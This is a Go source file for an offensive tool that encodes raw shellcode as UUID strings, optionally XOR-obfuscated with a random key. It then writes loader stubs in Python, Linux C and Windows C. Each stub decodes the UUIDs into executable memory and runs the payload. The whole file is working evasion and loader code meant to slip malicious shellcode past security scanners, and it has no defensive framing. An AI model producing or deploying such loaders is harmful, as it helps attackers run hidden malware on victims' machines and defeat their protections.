package main import ( "crypto/rand" "encoding/binary" "flag" "fmt" "os" "text/template" ) const pythonStub = `import uuid import mmap import ctypes uuids = [ {{- range .UUIDs }} '{{ . }}', {{- end }} ] shellcode = b'' for u in uuids: shellcode += uuid.UUID(u).bytes shellcode = shellcode[:{{ .OrigLen }}] {{- if .XORKey }} key = {{ .XORKey }} shellcode = bytes(b ^ key for b in shellcode) {{- end }} print(f'decoded shellcode length: {len(shellcode)} bytes') pagesize = mmap.PAGESIZE size = ((len(shellcode) + pagesize - 1) // pagesize) * pagesize mem = mmap.mmap(-1, size, prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC) mem.write(shellcode) func = ctypes.CFUNCTYPE(None)(ctypes.addressof(ctypes.c_int.from_buffer(mem))) print('executing shellcode') func() ` const cStub = `// gcc -z execstack -fno-stack-protector -no-pie -o stub stub.c #include #include #include #include #include #include #define ORIGINAL_SHELLCODE_LENGTH {{ .OrigLen }} const char* uuid_strings[] = { {{- range .UUIDs }} "{{ . }}", {{- end }} }; uint8_t hexchar(char c) { if ('0' <= c && c <= '9') return c - '0'; if ('a' <= c && c <= 'f') return c - 'a' + 10; if ('A' <= c && c <= 'F') return c - 'A' + 10; return 0; } void parse_uuid(const char* str, uint8_t* out) { int j = 0; for (int i = 0; str[i] != '\0' && j < 16; ) { if (str[i] == '-') { ++i; continue; } out[j] = (hexchar(str[i]) << 4) | hexchar(str[i+1]); i += 2; ++j; } } {{- if .XORKey }} void xor_decode(uint8_t *buf, size_t len, uint8_t key) { for (size_t i = 0; i < len; i++) { buf[i] ^= key; } } {{- end }} uint8_t* decode_uuids(size_t count, size_t* out_len) { uint8_t* buf = malloc(count * 16); if (!buf) { fprintf(stderr, "malloc failed\\n"); exit(1); } for (size_t i = 0; i < count; ++i) { parse_uuid(uuid_strings[i], buf + (i * 16)); } *out_len = count * 16; return buf; } int main() { size_t shellcode_len = 0; uint8_t* shellcode = decode_uuids(sizeof(uuid_strings) / sizeof(uuid_strings[0]), &shellcode_len); {{- if .XORKey }} xor_decode(shellcode, shellcode_len, {{ .XORKey }}); {{- end }} printf("decoded shellcode length: %zu\\n", shellcode_len); void *exec = mmap(0, shellcode_len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0); if (exec == MAP_FAILED) { perror("mmap"); return 1; } memcpy(exec, shellcode, ORIGINAL_SHELLCODE_LENGTH); ((void(*)())exec)(); printf("successfully executed shellcode\\n"); free(shellcode); return 0; } ` const cWinStub = `// x86_64-w64-mingw32-gcc -o stub.exe stub.c -Wl,--nxcompat -Wl,--dynamicbase #include #include #include #include #define ORIGINAL_SHELLCODE_LENGTH {{ .OrigLen }} const char* uuid_strings[] = { {{- range .UUIDs }} "{{ . }}", {{- end }} }; uint8_t hexchar(char c) { if ('0' <= c && c <= '9') return c - '0'; if ('a' <= c && c <= 'f') return c - 'a' + 10; if ('A' <= c && c <= 'F') return c - 'A' + 10; return 0; } void parse_uuid(const char* str, uint8_t* out) { int j = 0; for (int i = 0; str[i] != '\0' && j < 16; ) { if (str[i] == '-') { ++i; continue; } out[j] = (hexchar(str[i]) << 4) | hexchar(str[i+1]); i += 2; ++j; } } {{- if .XORKey }} void xor_decode(uint8_t *buf, size_t len, uint8_t key) { for (size_t i = 0; i < len; i++) { buf[i] ^= key; } } {{- end }} int main() { size_t count = sizeof(uuid_strings) / sizeof(uuid_strings[0]); uint8_t* shellcode = (uint8_t*)malloc(count * 16); if (!shellcode) { fprintf(stderr, "malloc failed\n"); return 1; } for (size_t i = 0; i < count; ++i) { parse_uuid(uuid_strings[i], shellcode + i * 16); } {{if .XORKey }} xor_decode(shellcode, count * 16, {{ .XORKey }}); {{- end }} printf("decoded shellcode length: %zu\n", count * 16); void* exec = VirtualAlloc(NULL, count * 16, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!exec) { fprintf(stderr, "VirtualAlloc failed\n"); free(shellcode); return 1; } memcpy(exec, shellcode, ORIGINAL_SHELLCODE_LENGTH); ((void(*)())exec)(); free(shellcode); return 0; } ` func main() { filePath := flag.String("file", "", "path to binary shellcode file") stubLang := flag.String("stub", "", "stub language to output (c, cwin, py)") xorFlag := flag.Bool("xor", false, "enable random single-byte XOR encoding") flag.Parse() if *filePath == "" { flag.Usage() os.Exit(1) } data, err := os.ReadFile(*filePath) if err != nil { fmt.Fprintf(os.Stderr, "[err] failed to read file: %v\n", err) os.Exit(1) } origLen := len(data) if origLen%16 != 0 { fmt.Printf("[inf] shellcode size (%d bytes) is not a multiple of 16, will pad with nullbytes\n", origLen) pad := 16 - (origLen % 16) data = append(data, make([]byte, pad)...) } var xorKey byte = 0 if *xorFlag { key := make([]byte, 1) _, err := rand.Read(key) if err != nil { fmt.Fprintf(os.Stderr, "[err] failed to generate XOR key: %v\n", err) os.Exit(1) } xorKey = key[0] fmt.Printf("[inf] using XOR key: 0x%02x\n", xorKey) for i := 0; i < len(data); i++ { data[i] ^= xorKey } } var uuids []string for i := 0; i < len(data); i += 16 { chunk := data[i : i+16] uuid := formatAsUUID(chunk) uuids = append(uuids, uuid) fmt.Println(uuid) } if *stubLang != "" { var stubContent string var fileName string switch *stubLang { case "py": stubContent = pythonStub fileName = "stub.py" case "c": stubContent = cStub fileName = "stub.c" case "cwin": stubContent = cWinStub fileName = "stub.c" default: fmt.Fprintf(os.Stderr, "[err] unsupported stub language\n") os.Exit(1) } err := renderTemplateToFile(stubContent, uuids, origLen, xorKey, fileName) if err != nil { fmt.Fprintf(os.Stderr, "[err] failed to write stub: %v\n", err) os.Exit(1) } fmt.Printf("[inf] stub written to %s\n", fileName) } } func formatAsUUID(b []byte) string { if len(b) != 16 { return "" } return fmt.Sprintf("%08x-%04x-%04x-%04x-%012x", binary.BigEndian.Uint32(b[0:4]), binary.BigEndian.Uint16(b[4:6]), binary.BigEndian.Uint16(b[6:8]), binary.BigEndian.Uint16(b[8:10]), b[10:16], ) } func renderTemplateToFile(tmplStr string, uuids []string, origLen int, xorKey byte, fileName string) error { tmpl, err := template.New("stub").Parse(tmplStr) if err != nil { return err } f, err := os.Create(fileName) if err != nil { return err } defer f.Close() return tmpl.Execute(f, map[string]interface{}{ "UUIDs": uuids, "OrigLen": origLen, "XORKey": xorKey, }) }